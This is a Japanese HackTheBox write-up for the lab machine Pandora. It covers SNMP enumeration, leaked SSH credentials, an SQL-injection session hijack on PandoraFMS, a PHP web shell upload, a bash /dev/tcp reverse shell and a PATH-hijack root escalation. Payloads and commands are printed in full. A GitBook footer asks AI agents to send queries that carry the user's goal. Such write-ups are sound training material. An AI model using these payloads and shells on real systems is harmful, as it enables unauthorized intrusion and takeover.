> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md).

# Pandora HackTheBox攻略記事

SNMP高速列挙、情報漏えい、ローカルポートフォワーディング、SQLインジェクション - 管理者セッションハイジャックを扱うPandora HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、

{% embed url="<https://app.hackthebox.com/machines/Pandora>" %}

{% hint style="warning" %}
**スキル:**

* SNMPの高速列挙
* 情報漏えい
* ローカルポートフォワーディング
* SQLインジェクション - 管理者セッションハイジャック
* PandoraFMS v7.0NG 認証済みリモートコード実行 (CVE-2019-20224]
* カスタムバイナリの悪用 - PATHハイジャック（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad5cff58eadbcf40e34cfd83601d4a17687d4656%2Fimage%20(2555).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4eb886a0a28799376fddeb90785a110f13ebb7a9%2Fimage%20(2556).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## TCP:

**Nmapで開いているTCPポートを見つける:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f83c0ef107566eeb5b76d1c615744e08ee2afbe9%2Fimage%20(2557).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-709ce6aa23116833f09be98fc58993db5f5d2cac%2Fimage%20(2533).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**NmapによるTCPポートのバージョンスキャン:**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.11.136 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51c6ff5fc125e993568bb5368b7781cabe3e1754%2Fimage%20(2534).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート 80:

私たちは `whatweb` Webサーバーで使用されている技術を特定するために:

<div align="right" data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40ea984842aa42dc3dbb7ea81728a51a19e558aa%2Fimage%20(2535).png?alt=media" alt=""><figcaption></figcaption></figure></div>

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dacad84beb022bec3197ea5025af426899fcedab%2Fimage%20(2536).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed95e83a74cc1740b7dba60b4fa8978058c927f4%2Fimage%20(2537).png?alt=media" alt=""><figcaption></figcaption></figure>

## UDP:

**Nmapで開いているUDPポートを見つける:**

また、UDPポートのスキャンも行います **Nmap**:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP
```

SNMPポート161、17185、49201を発見

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93938a251514e0bfa90bd6945ece5a984aea0dfa%2Fimage%20(2538).png?alt=media" alt=""><figcaption></figcaption></figure>

**NmapによるUDPポートのバージンスキャン:**

Nmapを使用してUDPポートのバージョンをスキャンし、情報を「targeted」ファイルに抽出する:

```bash
nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP
```

ユーザーを含むSNMP経由で機密情報を発見:

* `daniel`
* パスワード: `HotelBabylon23`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77d418c17912c5159e18431d47ffea71470cec33%2Fimage%20(2539).png?alt=media" alt=""><figcaption></figcaption></figure>

## ポート161 - SNMP

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

**SNMP列挙**

公開されているSNMPサービスを調べるために、次のコマンドを使用しました

```bash
snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt
```

* の内容を分析することで `snmpcontent.txt`、有効な認証情報を含む機密情報を発見しました:
  * **ユーザー**: `daniel`
  * **パスワード**: `HotelBabylon23`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0ab139f6845e8c9f2139bc748afa824eb256f3%2Fimage%20(2540).png?alt=media" alt=""><figcaption></figcaption></figure>

取得した情報を使って、対象マシンにSSH接続を確立しました:

```bash
ssh daniel@10.10.11.136
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c263efccee97e87ab79b2974c8600477d1652fcb%2Fimage%20(2541).png?alt=media" alt=""><figcaption></figcaption></figure>

## **権限昇格**

**初期探索**

ユーザーがアクセス可能なディレクトリを調査することで `daniel`、次のパスにある興味深いファイルとフォルダを特定しました: `/var/www/pandora`

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-875b6332926acdb3d6fd37795798f8a6ab9effef%2Fimage%20(2542).png?alt=media" alt=""><figcaption></figcaption></figure></div>

このディレクトリにはPandoraFMSのWebサイトが含まれており、外部から直接アクセスできないようです。

**ポートフォワーディング**

ローカルマシンからPandoraFMSのインターフェースにアクセスするため、SSHトンネルを設定しました:

```bash
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
```

## Pandora FMSのエクスプロイト - SQLインジェクション

### **SQLインジェクション：管理者セッションハイジャック**

このコマンドはローカルのHTTPリクエストを内部Webサーバーへリダイレクトします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1344636b4c5572eafe41e6133cccc13b3ee577d%2Fimage%20(2543).png?alt=media" alt=""><figcaption></figcaption></figure>

検出されたバージョン: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59720542c23b9a6d649c311a36e4fc17b8250570%2Fimage%20(2544).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

既知の脆弱性がある `chart_generator.php` を介して `session_id` 変数:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b37a64cd509f8bf1967453b7bc05927de61376e6%2Fimage%20(2545).png?alt=media" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8b2f7ae80950be216a7707ea3923d7a06705f4%2Fimage%20(2546).png?alt=media" alt=""><figcaption></figcaption></figure>

管理者セッションを偽装するためにSQLインジェクションを実行:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* このコマンドは管理者セッションのCookieを返します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb623affcfbdcdad5a9061b59c97ad0e48e8586%2Fimage%20(2547).png?alt=media" alt=""><figcaption></figcaption></figure>

そのCookieを使って管理者としてダッシュボードにアクセスします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f42b8d7935a165b586e1b12dddb2e69085883240%2Fimage%20(2549).png?alt=media" alt=""><figcaption></figcaption></figure>

### **リモートコード実行（RCE） - （CVE-2019-20224]**

へ移動 **ファイルマネージャ**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72de89fc96f3a27ae3043a7eeee3ff78d3ff73f6%2Fimage%20(2551).png?alt=media" alt=""><figcaption></figcaption></figure>

悪意のあるPHPファイルをアップロード:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* 以下からアクセス可能なファイル `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-245aa646e3e8dbd7bf64ac94af897aad24d448c5%2Fimage%20(2552).png?alt=media" alt=""><figcaption></figcaption></figure>

リバースシェルを実行:

* ローカルで待ち受け中:

```bash
nc -nvlp 443
```

* ターゲットサーバー上でコマンドを実行:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

ユーザーとしてアクセスを取得 `matt`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2a2cc786a2aab06e86d9fb95a0c41455947bc3%2Fimage%20(2553).png?alt=media" alt=""><figcaption></figcaption></figure>

**ターミナルの準備:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

インタラクティブなターミナルでの使いやすさを向上させます。

### Flag User.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da210b47ec8aefea839813f63bcfa2c50cebcf7%2Fimage%20(2554).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## PATHハイジャック - カスタムバイナリの悪用

**SUID権限を持つバイナリを検索中**

```bash
find / -perm -4000 2>/dev/null
```

結果: 興味深いバイナリファイルが見つかりました:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b587e5cbaa1faba33c888df8fa1e3049fdf7b37e%2Fimage%20(974).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38fb341fb6f5610f0ea9c049ea2cadfdaf828f0d%2Fimage%20(975).png?alt=media" alt=""><figcaption></figcaption></figure>

**でのバイナリ解析 `ltrace`**

バイナリの動作を理解するために、 **`ltrace`** （システムコール追跡ツール）を使用して、このバイナリが行うシステムコールを観察しました:

```bash
ltrace /usr/bin/pandora_backup
```

これにより、バイナリが **KEEP/*****0/*****/\_** コマンドを実行していることが分かりました。しかも実行ファイルの絶対パスを使っていないため、潜在的な脆弱性が生じます。つまり、もし **`PATH`** に悪意のある実行ファイルを含むディレクトリを含めるように `tar`を置き換えれば、元のものの代わりにそれが実行されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f8807c260e25916d00e18b64e0b0de735896a4%2Fimage%20(977).png?alt=media" alt=""><figcaption></figcaption></figure>

**PATHハイジャックによるエクスプロイト**

**悪意ある `tar` ファイル：** という名前のファイルを作成しました `tar` の中の `/tmp/` 実行権限のあるディレクトリ **SUID**。このファイルには、権限昇格したbashシェルを開くコマンドが含まれています:

```bash
chmod 4777 /bin/bash
```

**の変更 `PATH` 変数:** システムに私たちの悪意のある `tar`、私たちは `PATH` バージョンを使わせるために、 `/tmp/` ディレクトリを優先するように

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1562055c871e2b9a4455b295ce7e5ec78f618f96%2Fimage%20(978).png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱なバイナリを実行中:** を変更した後、 `PATH`、 **`pandora_backup`** バイナリを実行しました:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aeaaddc895ed1a2820f5a59f18f67e77ebb69a0%2Fimage%20(979).png?alt=media" alt=""><figcaption></figcaption></figure>

私たちが修正した `tar`を実行することで、権限昇格したBashシェルが開かれ、 `root` アクセス権を得ました。

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e377012ecf9fd123f5d90093838c5949aeddcc28%2Fimage%20(980).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1987da8f59c8442ab7707f7fb5c1deccaacd61e1%2Fimage%20(981).png?alt=media" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
